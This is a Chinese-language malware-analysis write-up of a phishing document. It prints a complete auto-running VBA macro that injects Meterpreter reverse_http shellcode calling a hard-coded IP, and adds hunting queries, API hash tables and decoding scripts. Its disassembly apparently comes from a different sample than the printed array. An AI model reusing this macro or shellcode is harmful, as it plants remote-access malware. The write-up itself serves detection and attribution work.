文档类
HackTools
制作恶意钓鱼文档的多种工具
🌰举个栗子(比较简单经典)🌰
钓鱼文档中有恶意宏代码。
宏代码
如果没混淆的话,宏代码如:
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
#If VBA7 Then
Private Declare PtrSafe Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
Private Declare Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
Private Declare Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If
Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, 57, 48, 0, 0, 83, 80, 104, 87, -119, -97, _
-58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 64, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 49, -1, 87, 87, 106, -1, 83, 86, _
104, 45, 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, _
-43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, -117, -1, _
-1, -1, 47, 80, 105, 57, 106, 0, -116, 26, -101, -104, -13, 94, 121, 5, -37, -68, -56, -67, 67, 34, 70, -109, -54, 94, 97, -60, 30, -15, -112, 59, 0, -63, -36, 90, 39, 12, -2, -72, _
0, 125, 127, -122, -124, 100, 67, 69, -87, 93, -102, -61, -34, 73, -58, 14, -119, 95, -119, 59, 25, 109, -114, -42, 10, -69, -54, 18, -76, 36, -98, -127, 81, -124, -82, -14, -22, -100, -8, -45, _
118, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 52, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 108, 101, 59, 32, 77, _
83, 73, 69, 32, 56, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 53, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 52, 46, 48, 59, 32, 81, 81, _
68, 111, 119, 110, 108, 111, 97, 100, 32, 55, 51, 51, 59, 32, 73, 110, 102, 111, 80, 97, 116, 104, 46, 50, 41, 13, 10, 0, 82, 127, 15, 13, -7, 42, 27, 64, 118, -10, 79, 8, _
-21, -78, 27, 35, 116, 68, -123, 81, -22, -72, 89, -73, 67, 42, -4, 82, -41, -74, 121, 126, 45, 106, -52, -24, -128, 35, 15, 55, 68, 29, 105, 113, 1, 40, 87, -16, 72, -72, 96, -70, _
33, -122, -63, 27, -73, 2, -113, -109, -42, 122, 39, -12, -29, -52, 87, 0, -126, 114, -59, -126, -44, -23, 120, -115, -80, 126, -15, 36, -50, 108, 50, -73, -102, 81, -18, -39, -40, 42, -109, -18, _
109, 20, -8, 78, -83, -103, 70, 113, 64, 56, 89, -24, -110, 81, -88, 94, -126, -71, 40, 93, 35, -101, 41, -59, 46, 36, -88, -32, -73, 19, 62, 93, -80, -55, 5, -57, 65, -62, 31, 89, _
76, 98, -25, -25, -41, -41, -95, 52, -49, 116, -126, -7, 66, -63, 62, -128, -87, 92, -120, 126, -17, 15, -85, 89, -55, 9, -89, -82, -126, 51, 119, -91, 73, 79, 1, -37, 70, -94, -83, 71, _
71, 86, -73, 98, 11, 101, 118, 67, -5, 106, 67, 94, -56, 21, -27, -14, 4, 115, 11, 29, -35, 58, -34, -38, -112, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, _
104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, _
-123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 56, 49, 46, 54, 57, 46, 50, 53, 48, 46, 57, 55, 0, 0, 0, 0, 1)
If Len(Environ(\"ProgramW6432\")) > 0 Then
sProc = Environ(\"windir\") & \"\\\\SysWOW64\\\\rundll32.exe\"
Else
sProc = Environ(\"windir\") & \"\\\\System32\\\\rundll32.exe\"
End If
res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
用途
宏代码主要内容就是通过远程线程注入的方式,执行数组中保存的PayLoad。
将上面宏代码拆解为3个部分:
1. 宏代码基本架构:
如[Sub,Len(Environ,函数名,LBound(myArray) To UBound(myArray)],在本例中都没有什么明显特征,基本不做检测规则使用。但如果出现有特殊固定的函数名时,或特殊的混淆方式是,可以作为检测方式或归因条件。
比如某攻击者习惯保存数据的函数叫做“SaveAsDocx”,最终落地的文件名/文件夹包含字符串“aurora”。前者可以作为攻击载荷的溯源方式,后者可以作为APT(或组织)命名方式(像白象的HangOver就是如此)。如果字符串后面消失了改为更有特征的其他因素,或者发现可以归因到一个已存在的组织,那可以把字符串降级为行动名,比如某组织的Aurora行动。
2. 执行ShellCode的API函数(字符串)和比较自定义的字符串
CreateStuff
CreateRemoteThread
AllocStuff
VirtualAllocEx
WriteStuff
WriteProcessMemory
RunStuff
CreateProcessA
myArray
myByte
rwxpage
3. 最终需要执行的ShellCode(数据)
编码处理过的ShellCode
上述拆分的其中1和2,可以作为同源性的一些查找方式。比如此例中,通过宏代码搜索,可以发现大批同源样本:
macros.macros_code:"CreateStuff" AND
macros.macros_code:"CreateRemoteThread" AND
macros.macros_code:"AllocStuff" AND
macros.macros_code:"VirtualAllocEx" AND
macros.macros_code:"WriteStuff" AND
macros.macros_code:"WriteProcessMemory" AND
macros.macros_code:"RunStuff" AND
macros.macros_code:"CreateProcessA" AND
macros.macros_code:"Array" AND
macros.macros_code:"LBound" AND
macros.macros_code:"UBound" AND
macros.macros_code:"rwxpage"
处理PayLoad
把PayLoad保存成文件,使用脚本将其转为无符号十六进制,代码如下:
import struct
import binascii
arrayShellCode = []
with open('[ShellCode.txt]', 'r') as f:
for x in f:
tmp = x.replace(' ', '').replace('_', '').strip().split(",")
arrayShellCode += tmp
arrayShellCode = [int(y) for y in arrayShellCode if y]
i = struct.pack("<{0}b".format(str(len(arrayShellCode))), *arrayShellCode)
D2H = binascii.b2a_hex(i)
print(D2H.decode().upper())
将汇编码复制到OD中动态调试:
FCE8890000006089E531D2648B52308B520C8B52148B72280FB74A2631FF31C0AC3C617C022C20C1CF0D01C7E2F052578B52108B423C01D08B407885C0744A01D0508B48188B582001D3E33C498B348B01D631FF31C0ACC1CF0D01C738E075F4037DF83B7D2475E2588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE0585F5A8B12EB865D686E6574006877696E6954684C772607FFD531FF5757575757683A5679A7FFD5E9840000005B31C951516A035151683930000053506857899FC6FFD5EB705B31D252680002408452525253525068EB552E3BFFD589C683C35031FF57576AFF5356682D06187BFFD585C00F84C301000031FF85F6740489F9EB0968AAC5E25DFFD589C16845215E31FFD531FF576A0751565068B757E00BFFD5BF002F000039C774B731FFE991010000E9C9010000E88BFFFFFF2F5069396A008C1A9B98F35E7905DBBCC8BD43224693CA5E61C41EF1903B00C1DC5A270CFEB8007D7F8684644345A95D9AC3DE49C60E895F893B196D8ED60ABBCA12B4249E815184AEF2EA9CF8D37600557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520382E303B2057696E646F7773204E5420352E313B2054726964656E742F342E303B205151446F776E6C6F6164203733333B20496E666F506174682E32290D0A00527F0F0DF92A1B4076F64F08EBB21B2374448551EAB859B7432AFC52D7B6797E2D6ACCE880230F37441D6971012857F048B860BA2186C11BB7028F93D67A27F4E3CC57008272C582D4E9788DB07EF124CE6C32B79A51EED9D82A93EE6D14F84EAD994671403859E89251A85E82B9285D239B29C52E24A8E0B7133E5DB0C905C741C21F594C62E7E7D7D7A134CF7482F942C13E80A95C887EEF0FAB59C909A7AE823377A5494F01DB46A2AD474756B7620B657643FB6A435EC815E5F204730B1DDD3ADEDA900068F0B5A256FFD56A4068001000006800004000576858A453E5FFD593B90000000001D9515389E7576800200000535668129689E2FFD585C074C68B0701C385C075E558C3E8A9FDFFFF38312E36392E3235302E39370000000001
或者如果只需要IP和端口的话,使用在线编码转换工具CyberChef看看IP和Port在哪里:
接下来拆解一下PayLoad汇编代码↓
🧐reverse_http.asm🧐
通过搜索特殊的值(除了ASM指令的那几个常数),可以发现解码出的ShellCode非常匹配reverse_http类型的ASM。 (Meterpreter中常用的Shell有:reverse_tcp、reverse_http、reverse_https、bind_tcp)
阅读Rapid7的GitHub(来自其产品metasploit框架)《reverse_http.asm》,可以知道PUSH的值,有部分是函数或者库的Hash值:
00000000 FC CLD
00000001 E889000000 CALL -FFFFFF71
00000006 60 PUSHA
00000007 89E5 MOV EBP,ESP
00000009 31D2 XOR EDX,EDX
0000000B 648B5230 MOV EDX,DWORD PTR FS:[EDX+30]
0000000F 8B520C MOV EDX,DWORD PTR [EDX+0C]
00000012 8B5214 MOV EDX,DWORD PTR [EDX+14]
00000015 8B7228 MOV ESI,DWORD PTR [EDX+28]
00000018 0FB74A26 MOVZX ECX,WORD PTR [EDX+26]
0000001C 31FF XOR EDI,EDI
0000001E 31C0 XOR EAX,EAX
00000020 AC LODS AL,BYTE PTR [ESI]
00000021 3C61 CMP AL,61
00000023 7C02 JL 00000027
00000025 2C20 SUB AL,20
00000027 C1CF0D ROR EDI,0D
0000002A 01C7 ADD EDI,EAX
0000002C E2F0 LOOP 0000001E
0000002E 52 PUSH EDX
0000002F 57 PUSH EDI
00000030 8B5210 MOV EDX,DWORD PTR [EDX+10]
00000033 8B423C MOV EAX,DWORD PTR [EDX+3C]
00000036 01D0 ADD EAX,EDX
00000038 8B4078 MOV EAX,DWORD PTR [EAX+78]
0000003B 85C0 TEST EAX,EAX
0000003D 744A JE 00000089
0000003F 01D0 ADD EAX,EDX
00000041 50 PUSH EAX
00000042 8B4818 MOV ECX,DWORD PTR [EAX+18]
00000045 8B5820 MOV EBX,DWORD PTR [EAX+20]
00000048 01D3 ADD EBX,EDX
0000004A E33C JRCXZ 00000088
0000004C 49 DEC ECX
0000004D 8B348B MOV ESI,DWORD PTR [EBX+ECX*4]
00000050 01D6 ADD ESI,EDX
00000052 31FF XOR EDI,EDI
00000054 31C0 XOR EAX,EAX
00000056 AC LODS AL,BYTE PTR [ESI]
00000057 C1CF0D ROR EDI,0D
0000005A 01C7 ADD EDI,EAX
0000005C 38E0 CMP AL,AH
0000005E 75F4 JNE 00000054
00000060 037DF8 ADD EDI,DWORD PTR [EBP-08]
00000063 3B7D24 CMP EDI,DWORD PTR [EBP+24]
00000066 75E2 JNE 0000004A
00000068 58 POP EAX
00000069 8B5824 MOV EBX,DWORD PTR [EAX+24]
0000006C 01D3 ADD EBX,EDX
0000006E 668B0C4B MOV CX,WORD PTR [EBX+ECX*2]
00000072 8B581C MOV EBX,DWORD PTR [EAX+1C]
00000075 01D3 ADD EBX,EDX
00000077 8B048B MOV EAX,DWORD PTR [EBX+ECX*4]
0000007A 01D0 ADD EAX,EDX
0000007C 89442424 MOV DWORD PTR [ESP+24],EAX
00000080 5B POP EBX
00000081 5B POP EBX
00000082 61 POPA
00000083 59 POP ECX
00000084 5A POP EDX
00000085 51 PUSH ECX
00000086 FFE0 JMP EAX
00000088 58 POP EAX
00000089 5F POP EDI
0000008A 5A POP EDX
0000008B 8B12 MOV EDX,DWORD PTR [EDX]
0000008D EB86 JMP 00000015
0000008F 5D POP EBP
00000090 686E657400 PUSH 0074656E
00000095 6877696E69 PUSH 696E6977
0000009A 54 PUSH ESP
0000009B 684C772607 PUSH 0726774C ——hash("kernel32.dll","LoadLibraryA")
000000A0 FFD5 CALL EBP
000000A2 31FF XOR EDI,EDI
000000A4 57 PUSH EDI
000000A5 57 PUSH EDI
000000A6 57 PUSH EDI
000000A7 57 PUSH EDI
000000A8 57 PUSH EDI
000000A9 683A5679A7 PUSH A779563A ——hash("wininet.dll","InternetOpenA")
000000AE FFD5 CALL EBP
000000B0 E984000000 JMP -FFFFFEC7
000000B5 5B POP EBX
000000B6 31C9 XOR ECX,ECX
000000B8 51 PUSH ECX
000000B9 51 PUSH ECX
000000BA 6A03 PUSH 00000003
000000BC 51 PUSH ECX
000000BD 51 PUSH ECX
000000BE 6850000000 PUSH 00000050
000000C3 53 PUSH EBX
000000C4 50 PUSH EAX 下面就简写了
000000C5 6857899FC6 PUSH C69F8957 ——hash(InternetConnectA)
000000CA FFD5 CALL EBP
000000CC EB70 JMP 0000013E
000000CE 5B POP EBX
000000CF 31D2 XOR EDX,EDX
000000D1 52 PUSH EDX
000000D2 6800024084 PUSH 84400200
000000D7 52 PUSH EDX
000000D8 52 PUSH EDX
000000D9 52 PUSH EDX
000000DA 53 PUSH EBX
000000DB 52 PUSH EDX
000000DC 50 PUSH EAX
000000DD 68EB552E3B PUSH 3B2E55EB ——hash(HttpOpenRequestA)
000000E2 FFD5 CALL EBP
000000E4 89C6 MOV ESI,EAX
000000E6 83C350 ADD EBX,00000050
000000E9 31FF XOR EDI,EDI
000000EB 57 PUSH EDI
000000EC 57 PUSH EDI
000000ED 6AFF PUSH FFFFFFFF
000000EF 53 PUSH EBX
000000F0 56 PUSH ESI
000000F1 682D06187B PUSH 7B18062D ——hash(HttpSendRequestA)
000000F6 FFD5 CALL EBP
000000F8 85C0 TEST EAX,EAX
000000FA 0F84C3010000 JE -FFFFFD3D
00000100 31FF XOR EDI,EDI
00000102 85F6 TEST ESI,ESI
00000104 7404 JE 0000010A
00000106 89F9 MOV ECX,EDI
00000108 EB09 JMP 00000113
0000010A 68AAC5E25D PUSH 5DE2C5AA
0000010F FFD5 CALL EBP
00000111 89C1 MOV ECX,EAX
00000113 6845215E31 PUSH 315E2145
00000118 FFD5 CALL EBP
0000011A 31FF XOR EDI,EDI
0000011C 57 PUSH EDI
0000011D 6A07 PUSH 00000007
0000011F 51 PUSH ECX
00000120 56 PUSH ESI
00000121 50 PUSH EAX
00000122 68B757E00B PUSH 0BE057B7
00000127 FFD5 CALL EBP
00000129 BF002F0000 MOV EDI,00002F00
0000012E 39C7 CMP EDI,EAX
00000130 74B7 JE 000000E9
00000132 31FF XOR EDI,EDI
00000134 E991010000 JMP -FFFFFD36
00000139 E9C9010000 JMP -FFFFFCF9
0000013E E88BFFFFFF CALL 000000CE
00000143 2F DAS
00000144 387162 CMP BYTE PTR [ECX+62],DH
00000147 51 PUSH ECX
00000148 00E3 ADD BL,AH
0000014A 1B09 SBB ECX,DWORD PTR [ECX]
0000014C A97E3E73CD TEST EAX,CD733E7E
00000151 27 DAA
00000152 5A POP EDX
00000153 DCE2 FSUBR ST(2),ST
00000155 F3B35F REP MOV BL,5F
00000158 C9 LEAVE
00000159 383C32 CMP BYTE PTR [EDX+ESI],BH
0000015C E400 IN AL,00
0000015E 2AA5DB6D91A9 SUB AH,BYTE PTR [EBP-566E9225]
00000164 55 PUSH EBP
00000165 60 PUSHA
00000166 58 POP EAX
00000167 16 PUSH SS
00000168 36B6A7 MOV DH,A7
0000016B 297D22 SUB DWORD PTR [EBP+22],EDI
0000016E 284C213E SUB BYTE PTR [ECX+3E],CL
00000172 A968E0E07F TEST EAX,7FE0E068
00000177 87FA XCHG EDI,EDX
00000179 0F8CEF7E8786 JL -79787F92
0000017F A28381BDD6 MOV BYTE PTR [D6BD8183],AL
00000184 4D DEC EBP
00000185 4D DEC EBP
00000186 47 INC EDI
00000187 8516 TEST DWORD PTR [ESI],EDX
00000189 54 PUSH ESP
0000018A 49 DEC ECX
0000018B 6D INS DWORD PTR [EDI],DX
0000018C 73E5 JAE 00000173
0000018E 3D5513D600 CMP EAX,00D61355
00000193 55 PUSH EBP
00000194 7365 JAE 000001FB
00000196 722D JB 000001C5
00000198 41 INC ECX
00000199 67656E OUTS DX,BYTE PTR GS:[SI]
0000019C 743A JE 000001D8
0000019E 204D6F AND BYTE PTR [EBP+6F],CL
000001A1 7A69 JP 0000020C
000001A3 6C INS BYTE PTR [EDI],DX
000001A4 6C INS BYTE PTR [EDI],DX
000001A5 61 POPA
000001A6 2F DAS
000001A7 352E302028 XOR EAX,2820302E
000001AC 636F6D ARPL WORD PTR [EDI+6D],BP
000001AF 7061 JO 00000212
000001B1 7469 JE 0000021C
000001B3 626C653B BOUND EBP,QWORD PTR [EBP+3B]
000001B7 204D53 AND BYTE PTR [EBP+53],CL
000001BA 49 DEC ECX
000001BB 45 INC EBP
000001BC 2039 AND BYTE PTR [ECX],BH
000001BE 2E303B XOR BYTE PTR CS:[EBX],BH
000001C1 205769 AND BYTE PTR [EDI+69],DL
000001C4 6E OUTS DX,BYTE PTR [ESI]
000001C5 646F OUTS DX,DWORD PTR FS:[ESI]
000001C7 7773 JA 0000023C
000001C9 204E54 AND BYTE PTR [ESI+54],CL
000001CC 2036 AND BYTE PTR [ESI],DH
000001CE 2E313B XOR DWORD PTR CS:[EBX],EDI
000001D1 20547269 AND BYTE PTR [EDX+ESI*2+69],DL
000001D5 64656E OUTS DX,BYTE PTR GS:[ESI]
000001D8 742F JE 00000209
000001DA 352E303B20 XOR EAX,203B302E
000001DF 58 POP EAX
000001E0 42 INC EDX
000001E1 4C DEC ESP
000001E2 57 PUSH EDI
000001E3 50 PUSH EAX
000001E4 37 AAA
000001E5 3B20 CMP ESP,DWORD PTR [EAX]
000001E7 5A POP EDX
000001E8 756E JNE 00000258
000001EA 6557 PUSH EDI
000001EC 50 PUSH EAX
000001ED 37 AAA
000001EE 290D0A0082EE SUB DWORD PTR [-117DFE02],ECX
000001F4 B89E3809B6 MOV EAX,B609389E
000001F9 038C604F65E219 ADD ECX,DWORD PTR [EAX+19E2654F]
00000200 6334C4 ARPL WORD PTR [ESP+EAX*8],SI
00000203 B8FEEBD35B MOV EAX,5BD3EBFE
00000208 D811 FCOM DWORD PTR [ECX]
0000020A 61 POPA
0000020B FA CLI
0000020C AF SCAS EAX,DWORD PTR [EDI]
0000020D F5 CMC
0000020E 688518A8FC PUSH FCA81885
00000213 DAA5D72C4B92 FISUB DWORD PTR [EBP-6DB4D329]
00000219 57 PUSH EDI
0000021A AC LODS AL,BYTE PTR [ESI]
0000021B 6F OUTS DX,DWORD PTR [ESI]
0000021C 37 AAA
0000021D 117A44 ADC DWORD PTR [EDX+44],EDI
00000220 50 PUSH EAX
00000221 DE83959A48D2 FIADD WORD PTR [EBX-2DB7656B]
00000227 E9DED90E64 JMP -9BF123F6
0000022C 95 XCHG EAX,EBP
0000022D 7A1F JP 0000024E
0000022F D5EE AADB EE
00000231 D663CC82D0 VMULHPU V2{K4},V9,V8{DDDD}
00000236 71C7 JNO 000001FF
00000238 08903A921387 OR BYTE PTR [EAX-78EC6DC6],DL
0000023E 4D DEC EBP
0000023F 65CF IRETD
00000241 EC IN AL,DX
00000242 94 XCHG EAX,ESP
00000243 6A15 PUSH 00000015
00000245 A3D475B737 MOV DWORD PTR [37B775D4],EAX
0000024A EBDA JMP 00000226
0000024C 49 DEC ECX
0000024D CACCB0 RETF B0CC
00000250 32D7 XOR DL,BH
00000252 70B9 JO 0000020D
00000254 832034 AND DWORD PTR [EAX],00000034
00000257 E927DFD037 JMP -C82F1E7D
0000025C 49 DEC ECX
0000025D B153 MOV CL,53
0000025F 2314FB AND EDX,DWORD PTR [EBX+EDI*8]
00000262 2D12303776 SUB EAX,76373012
00000267 1F POP DS
00000268 00D6 ADD DH,DL
0000026A CA2172 RETF 7221
0000026D CE INTO
0000026E 3450 XOR AL,50
00000270 82CCC4 OR AH,C4
00000273 D480 AAMB 80
00000275 1CF3 SBB AL,F3
00000277 52 PUSH EDX
00000278 8D4103 LEA EAX,[ECX+03]
0000027B 55 PUSH EBP
0000027C 66E730 OUT 30,AX
0000027F F01BA5D760D627 LOCK SBB ESP,DWORD PTR [EBP+27D660D7]
00000286 B4D7 MOV AH,D7
00000288 05B85EC22B ADD EAX,2BC25EB8
0000028D 267547 JNE 000002D7
00000290 12F2 ADC DH,DL
00000292 A6 CMPS BYTE PTR [EDI],BYTE PTR [ESI]
00000293 37 AAA
00000294 C7 ???
00000295 AF SCAS EAX,DWORD PTR [EDI]
00000296 68C7C0A316 PUSH 16A3C0C7
0000029B D327 SHL DWORD PTR [EDI],CL
0000029D DA23 FISUB DWORD PTR [EBX]
0000029F 58 POP EAX
000002A0 AE SCAS AL,BYTE PTR [EDI]
000002A1 72F5 JB 00000298
000002A3 A7 CMPS DWORD PTR [EDI],DWORD PTR [ESI]
000002A4 CA01E8 RETF E801
000002A7 AF SCAS EAX,DWORD PTR [EDI]
000002A8 06 PUSH ES
000002A9 B2C2 MOV DL,C2
000002AB 2A3C64 SUB BH,BYTE PTR [ESP]
000002AE A093521CC5 MOV AL,BYTE PTR [C51C5293]
000002B3 0C41 OR AL,41
000002B5 61 POPA
000002B6 2ABBE39CD922 SUB BH,BYTE PTR [EBX+22D99CE3]
000002BC F772D1 DIV EAX,DWORD PTR [EDX-2F]
000002BF A1CC2A0068 MOV EAX,DWORD PTR [68002ACC]
000002C4 F0B5A2 LOCK MOV CH,A2
000002C7 56 PUSH ESI
000002C8 FFD5 CALL EBP
000002CA 6A40 PUSH 00000040
000002CC 6800100000 PUSH 00001000
000002D1 6800004000 PUSH 00400000
000002D6 57 PUSH EDI
000002D7 6858A453E5 PUSH E553A458 ——hash(VirtualAlloc)
000002DC FFD5 CALL EBP
000002DE 93 XCHG EAX,EBX
000002DF B900000000 MOV ECX,00000000
000002E4 01D9 ADD ECX,EBX
000002E6 51 PUSH ECX
000002E7 53 PUSH EBX
000002E8 89E7 MOV EDI,ESP
000002EA 57 PUSH EDI
000002EB 6800200000 PUSH 00002000
000002F0 53 PUSH EBX
000002F1 56 PUSH ESI
000002F2 68129689E2 PUSH E2899612 ——hash(InternetReadFile)
000002F7 FFD5 CALL EBP
000002F9 85C0 TEST EAX,EAX
000002FB 74C6 JE 000002C3
000002FD 8B07 MOV EAX,DWORD PTR [EDI]
000002FF 01C3 ADD EBX,EAX
00000301 85C0 TEST EAX,EAX
00000303 75E5 JNE 000002EA
00000305 58 POP EAX
00000306 C3 RET
00000307 E8A9FDFFFF CALL 000000B5
0000030C 3135392E3735 XOR DWORD PTR [-CAC8CEB5],ESI
00000312 2E3131 XOR DWORD PTR CS:[ECX],ESI
00000315 362E3138 XOR DWORD PTR CS:[EAX],EDI
00000319 0000 ADD BYTE PTR [EAX],AL
0000031B 0000 ADD BYTE PTR [EAX],AL
0000031D 01 ADD DWORD PTR [EAX],EAX
反向Shell或者一些恶意代码框架(如Metasploit-Framework),常使用这种方式执行ShellCode,建议眼熟一下,特别是常用的API的Hash值(注入,网络连接等),以最常见的Windows系统32位的为例:
0x006B8029, ws2_32.dll!WSAStartup
0xE0DF0FEA, ws2_32.dll!WSASocketA
0x6737DBC2, ws2_32.dll!bind
0xFF38E9B7, ws2_32.dll!listen
0xE13BEC74, ws2_32.dll!accept
0x614D6E75, ws2_32.dll!closesocket
0x6174A599, ws2_32.dll!connect
0x5FC8D902, ws2_32.dll!recv
0x5F38EBC2, ws2_32.dll!send
0x709D8805, winhttp.dll!WinHttpReceiveResponse
0x91BB5895, winhttp.dll!WinHttpSendRequest
0xCE9D58D3, winhttp.dll!WinHttpSetOption
0xE2899612, wininet.dll!InternetReadFile
0x7B18062D, wininet.dll!HttpSendRequestA
0xA779563A, wininet.dll!InternetOpenA
0x3B2E55EB, wininet.dll!HttpOpenRequestA
0xC69F8957, wininet.dll!InternetConnectA
0x5BAE572D, kernel32.dll!WriteFile
0x4FDAF6DA, kernel32.dll!CreateFileA
0x13DD2ED7, kernel32.dll!DeleteFileA
0xE449F330, kernel32.dll!GetTempPathA
0x528796C6, kernel32.dll!CloseHandle
0x863FCC79, kernel32.dll!CreateProcessA
0xE553A458, kernel32.dll!VirtualAlloc
0x300F2F0B, kernel32.dll!VirtualFree
0x0726774C, kernel32.dll!LoadLibraryA
0x7802F749, kernel32.dll!GetProcAddress
0x601D8708, kernel32.dll!WaitForSingleObject
0x876F8B31, kernel32.dll!WinExec
0x9DBD95A6, kernel32.dll!GetVersion
0xEA320EFE, kernel32.dll!SetUnhandledExceptionFilter
0x56A2B5F0, kernel32.dll!ExitProcess
0x0A2A1DE0, kernel32.dll!ExitThread
现在不行了,HW的时候天天看,记得很清晰
调用函数的特征为,PUSH函数或库的Hash然后Call哈希寻址函数:
PUSH [0-F]{8}
CALL EBP
提取IP脚本(reverse_http)
官方的说明文档可能在没头绪或者不熟悉的时候,还是不太好找的。有时间的话尽可能自己调试出来,找到数据存放位置。或者碰运气的话,还可以通过对比同类型的ShellCode,看看不同处:
可以发现reverse_http类的PayLoad,IP以十六进制格式(E8A9FDFFFF(.+?)0000000001)保存在PayLoad末尾处:
import binascii
import re
import struct
arrayShellCode = []
pathFile = ".\\PayLoad"
with open(pathFile, 'r') as f:
for x in f:
tmp = x.replace(' ', '').replace('_', '').strip().split(",")
arrayShellCode += tmp
arrayShellCode = [int(y) for y in arrayShellCode if y]
i = struct.pack("<{0}b".format(str(len(arrayShellCode))), *arrayShellCode)
D2H = binascii.b2a_hex(i)
print("——————————PayLoad统一转为HEX格式——————————")
print(D2H.decode().upper())
print("——————————正则匹配十六进制IP——————————")
